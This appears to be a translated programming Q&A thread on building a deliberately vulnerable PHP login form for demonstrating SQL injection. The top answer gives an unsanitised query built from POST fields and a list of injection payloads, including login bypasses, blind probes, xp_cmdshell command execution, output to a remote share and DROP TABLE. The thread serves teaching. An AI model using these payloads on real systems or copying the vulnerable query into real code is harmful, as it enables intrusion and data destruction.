如何创建SQL注入测试站点

时间:2011-07-12 14:52:40

标签: php sql sql-injection

我想创建一个简单的登录和注册表单,这允许我演示SQL注入,但我目前无法这样做。每次我尝试一个示例表单时,SQLmap都无法攻击它。有人可以给我一个非常简单的基本登录和注册表单,我可以用它来演示SQL注入吗?

3 个答案:

答案 0 :(得分:6)

只需运行最简单的不受保护的查询:

$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])

并享受!如果你没有禁用magic_quotes(应该是),stripslashes()部分是存在的,以避免一些自动转义;否则你将获得最纯粹的注射输入,只需拿起你可能在互联网上找到的任何sql注入,然后看看。一些例子:

' or 1=1--
' or 1--
' or 1
\" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`

等等

答案 1 :(得分:1)

谷歌搜索一些现有的网页,例如:

http://www.greensql.net/node/3

或者,您可以创建一个在DB中搜索表的基本搜索框。使用随机名称填充表格,并演示搜索的工作原理以及SQL注入如何删除表格等。

答案 2 :(得分:1)

如果您喜欢大规模的SQL测试,有时会有一个帮助我的库: http://sqlmap.sourceforge.net

它运行了很多sqlinjections测试并返回了很棒的报告。